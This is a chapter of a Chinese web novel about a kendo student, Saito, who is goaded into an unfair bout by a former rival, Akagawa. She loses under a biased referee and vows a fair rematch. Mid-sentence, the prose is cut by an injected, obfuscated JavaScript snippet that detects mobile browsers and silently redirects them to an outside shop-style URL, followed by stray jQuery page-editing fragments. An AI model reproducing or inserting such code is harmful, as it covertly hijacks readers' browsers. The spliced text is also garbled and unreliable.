早上七点,斋藤蹲下身,膝盖微曲,脚尖牢牢踩住地板。脚后跟略微抬起,重心前倾姿势双手贴地隔着抹布紧贴地板在场馆里穿行。
三月的清晨,寒意非常浓重,斋藤冻得通红发僵浸的手重复浸入冷水中的,搓洗着抹布。
越是这样,斋藤就越不敢轻易停下。
“斋藤前辈,早上好!”一个充满稚气,但是耳熟的声音打断了斋藤的动作。
斋藤起身看向门口,来人是不久之前在车站见过的,和自己打招呼的小学男生。
他穿着剑道服,挎着黑色的剑道装备包。
“果然跟前辈你说得一样,这么早就在道场擦地板了。”
斋藤清楚自己没有和这个男生有太多的交流,所以应该是他校外道场的其他人那里听说的。
“你为什么会来这?”
“前辈你忘记了吗?四月份开始我就是这个学校的学生了。”
斋藤轻轻蹙眉,露出对这个答案不满意的表情。她当然记得一个月还没过的男孩跟自己说了什么。
即便是新生,这个点来学校参观也太早了。
他的装扮让斋藤猜到了他的意图。
这个男生应该是来“踢馆”的。
斋藤笃定他的目标不是自己,如果是,他早在就在校外的道场挑战自己了。
“是吗?那么请自便。”斋藤表现地毫不在意。
“我希望前辈能够带我参观一下学校。”正当斋藤决定继续擦地板的时候,男生开口请求斋藤。
“这个学校里目前我只认识斋藤前辈你。”
“抱歉我的日课还没有完成。”斋藤拒绝道。
“斋藤前辈还真是一如既往的冷淡,难怪看上去不太合群。”
不合群。
男生的话直戳斋藤心中的痛点。
斋藤也努力过,她会在比试后给予对手赞美,可是大家似乎并不领情,表现得极为冷淡。
斋藤虽然不是那种对不熟悉的人表现地亲切热心的人,不过从现在开始在后辈面前表现的亲切一些,说不定自己的在部内的风评会变得稍微好一些,继而真正地融入社团。
“好吧,我擦完地板后带你参观。”想法的转变让斋藤变得乐于接受了男生的请求。
男生也没反对,正坐在一旁等待斋藤结束日课。
按着约定,擦完地板后的斋藤带着男生一边走着一边简单介绍着学校建筑与设施。
斋藤介绍着,突然意识到自己不知道怎么称呼眼前这个男生。
“不好意思,其实我现在还不知道你叫什么。”斋藤羞愧地问着这个对自己恭敬,充满信任的后辈。
“没关系,前辈等一会就知道了。”男生心不在焉地回答,视线在建筑间四处游动着。
一般踢馆之前会对手的地盘进行自我介绍,知道这点的斋藤没有追问。
在学校转了一圈,他们回到了起点——道场场馆。这个时候的场馆已经聚集了一些开始热身的部员。
赤川一改之前在斋藤面前的顺从姿态,走到场馆的门前,颇具气势地大声宣言。
“我叫赤川雄一!今年四月后就是这个学校的学生,请多指教!”
斋藤看着赤川的眼睛倏然睁大。
斋藤对这个名字印象很深,因为叫这个名字,练剑道的男生,和真田一样,都推开了斋藤。
“你是赤川君!”
斋藤变得很激动,她很开心赤川没有因为自己的失言而放弃剑道。
“好久不见,赤川君。”
“……看来斋藤前辈你还是有那么一点点记性的。”
话语没有那么直接,但是一改之前的恭敬,斋藤能从嘲讽的语气中听出他对自己有敌意。
“……赤川君,那件事真的很对不起。”
“别假惺惺的,你到现在还没把瞧不起的毛病改掉。”
“我从来都没有瞧不起人。”
“可是前辈,在场的人没有一个站在你这边啊。”
斋藤看着周围的部员,全都只是冷漠地看着斋藤和赤川,当斋藤难以置信的眼神看向自己时,只是躲避着斋藤的视线。
“斋藤前辈,请跟我比一场吧!”赤川鞠躬恭敬地说,然后抬起头补充道,“——别误会,因为你是前辈,所以我必须这么说。”
“还有,你输了退部,我输了,我就不会加入剑道部,做一个普通的国中生。”
“我拒绝!为什么只能我们中的一个待在剑道部?”
“因为讨厌前辈你,我无法忍受和你待在一个空间里……这一点我十分肯定。”
人群中似乎有人发出小声的呼号,对赤川的直白挑衅充满赞许。
“赤川你以前不是这样的人……”
赤川挠着脑袋打断了斋藤的感概。
“啊——这种话还是免了,前辈你是你同意还是不同意?”
“请容我拒绝。”
斋藤难得拒绝了比试的邀约。
不是说因为这份比试带着荒谬的赌约,而是从早上开始她擦地板,带赤川参观学校,现在又要比试。到现在还是空腹的她不知道自己又没有体力能够支持自己比赛。
身体状态不佳,她也无法全力应战。
“斋藤前辈,难道说你现在还觉得百分之百会赢过我。”
“看吧,你到现在还是瞧不起我。”
赤川垂下头,一脸悲戚,委屈地说。
不知斋藤思虑的围观者们单凭赤川地一面之词,以及对斋藤的偏见,对着斋藤露出厌恶地表情,
赤川这句话,让斋藤想到了过去。
赤川推她的时候,面具下的表情难道也是这样的?
原来自己的无心之言,能让对方这么痛苦。
“……我知道了,我接受你的挑战。”
斋藤的同意更像是对赤川的补偿。
斋藤和赤川全副武装站在赛场上行礼,一位自发成为这场比试裁判的三年级的学长也站在赛场上。
双方将剑尖指着对方的喉部,此刻少许的饥饿感让斋藤更加清醒专注。
虽然勉强同意了比试但是斋藤知道自己不能输。
只能速战速决了,斋藤想。
比试开始了。
两人的身高差距不大,然而在体力上,赤川仍然压制着她。
更令她在意的,是对方技法的进步幅度远远超出了她的预期。
最让斋藤感到惊喜的是,在比赛之前的对话中来看,他对斋藤的积怨颇深,可是现在他的动作中完全感受不到这样的情绪。
几年前就是因为赤川赛场上太过意气用事,让斋藤很轻易地抓到破绽。
斋藤再次为赤川对剑道的坚持感到慰藉。
作为回报,她迅速地击打到了赤川的胴部。
看样子在体力耗尽之前,还是能赢下比试的——
“打击无效。”而身为裁判的学长双臂交叉,否定了斋藤的打击。
看到戴着面具的斋藤面朝自己,学长冷冷地说“气势不够”。
场边的学生们开始窃窃私语,但是学长高声喝道“安静”,将所有声音压了下去。
斋藤也没有深究,因为她的确没有以最佳状态上场,被判气势不足也是可能的。
但下一次击打,斋藤即便努力地刻意地大声气合,学长也给出了类似的理由,将斋藤的打击判做无效。
同时,斋藤感觉到自己的专注力开始因为身体的疲劳开始下降,她立刻大声叫停比赛。
“停!”
“这场比试无效!”斋藤对着赤坂,对着所有人,对着这个场馆控诉着。
“那我是不是可以理解斋藤前辈你‘认输了’?”赤川问。
斋藤对赤川的反应感到了愤怒。
“如果你觉得你赢了就赢了!”
“这场比赛没有任何意义,你难道看不出来吗?”
听到斋藤的质问,赤川只是对着她鞠了一躬,转身下场。就当斋藤庆幸赤川是认可了自己的话时,赤川从包里拿出一个武士狮的挂件。
“前辈,这是之前你丢的武士狮挂件,我今天特地带过来,打算把这个还给你……”
“但是呢,前辈居然消极对战,我觉得前辈你没资格带着全日剑道协会的吉祥物呢。”
“赤川!”
“前辈你放心,我对这东西不感兴趣,只要前辈愿意陪我比试下去,我一定会双手奉还的。”
场馆内安静的可怕。
在场的所有人都默许这这一切的发生,像是在隔着电视,虽然有个别人会露出难以置信以及忿忿不平的表情,但也只是静静地看着。
斋藤握紧拳头,矗立在赛场上,这场比试,连整个场馆,都是自己的对手。
当赤川确定自己的“优势”之后,他不再积极正面地进攻,而开始频繁地闪避后撤,戏耍着斋藤,这让斋藤感觉十分屈辱,可她没有停止战斗,因为武士狮还在赤川手上。
身为裁判的学长对此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487288|202083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
视而不见,没有阻止赤川的消极行为。
“面!”
赤川打中了斋藤的面部,学长宣布赤川获得了胜利,但是整个场馆的氛围并没有因为一方的获胜而活跃起来。
所有人都只是静默地看着因为一击被击倒在地,此刻正跪在赛场上斋藤。
斋藤艰难地看着电子钟显示的数字,眼球因为汗水流进眼里感到阵阵刺痛。
仅仅是过了5分钟吗?
原来自己的体力连5分钟也撑不了。
她的右耳感觉像是被堵着一样,还能持续地听见尖锐的声音,走动时还会感觉隐隐刺痛,应该是在赤川面部打击的时候耳膜被打穿孔了。
“……多谢指教。”
斋藤摇摇晃晃地从赛场中心走到边缘,对着赤川鞠躬。对于斋藤而言,如果这不把礼仪流程走完,才是彻底输了。
“小心一点啊,前辈。”做着同样动作的赤川好心地叮嘱着斋藤。
两人下了场,只要斋藤路过的地方,人们就会闪身与她保持一段距离。忍着耳朵的不适的斋藤觉得自己走不动了,就地正坐,调息休息。
“如果前辈不甘心的话,也可以来剑道部求我和你比试,毕竟前辈也不是剑道部的成员了,不表现得有诚意一点可不行。”
赤川以胜利者的姿态来到斋藤的面前耀武扬威。
“赤川,把武士狮还给我。”斋藤没有看着赤川,也没有理会赤川的话,直接向赤川索要自己的东西。
赤川一脸无聊地把武士狮扔在斋藤的面前。
斋藤急忙捡起,用手指擦拭武士狮上表面的灰尘。
武士狮上有一些明显的划痕,不过也没有什么明显的缺损。
斋藤将武士狮紧握在手中,默默发誓再也不会把它弄丢了。
休息了片刻后,斋藤离开了道场,而在此期间,剑道部没有人和斋藤说一句话。
斋藤回到宿舍换下道服,用力地将除汗喷雾的按帽按到最底端。
离开学校的时候,正巧遇到监督,以耳朵不适去诊所为由请了一天的假。然后她前往商业街的提供日式早餐的定食店,点了银鳕西京烧套餐。
经过早上的比试,斋藤已经饿得前胸贴后背了。
炭火烤过的银鳕鱼皮边微卷,咸香中透出一丝酱汁的甜味。玉子烧匀称地分成三等分,放在一旁刷了柚子酱油的小碟上,柔软洁白的米粒带着米油的光泽。
做了几个深呼吸后,觉得自己的怒气消散了有些后,斋藤才拿起筷子吃饭。
为什么会变成这样?
为什么自己变得像是剑道部的局外人一样?
斋藤一边忍受着咀嚼带来的耳部疼痛,一边反省。
全是因为小宫的关系而对她另眼相待……吗?
不对,是有改善关系的机会。
斋藤应该在远藤平衡维护自己与学长姐的期间去和大家打好关系的,而她的冷淡的个性惰于社交,才错失这次机会。
还有就是远藤停止部活后,自己在周末没有去过剑道部,即便自己本意并不是如此,或许让他人觉得斋藤是在嫌弃待在剑道部练习。
如果周末留出一些在剑道部里做一些基本稽古,他们应该就不会有这种想法了。
所以,即使现在遭遇不公裁决,也没有人会站出来安慰她、为她说话、劝她留下。
斋藤开始思考着另一个关键问题。
那学长裁判不公是为了什么?
今年的全中报名时间提前至三月末。
只要在斋藤在春假期间退出剑道部,参赛者就肯定不是斋藤。
原来如此。
斋藤从剑道部消失对“学姐”是大有益处。
那么学长比起是几乎毫无情谊的斋藤,自然就会偏向拥有共同经历的“学姐”。
“社团和校外的道场完全不一样。”
这是真田跟斋藤说过的,而现在斋藤才体会到。
但无论斋藤有多碍眼,令人不快,这都不是蔑视公平,践踏规则的理由。
所以她要向那些人复仇。
只要转学,代表别的学校参赛并且冠军,就是对风岚的复仇。
但是赤川呢?
她清楚身为女生的自己在正式的赛场上是很难和赤川碰面。
如果说是因为自己的错误,让他变成这样,自己必须要要正大光明地战胜他,纠正他。
想想办法吧,斋藤志罗。
能赢他的人,必须是你才行。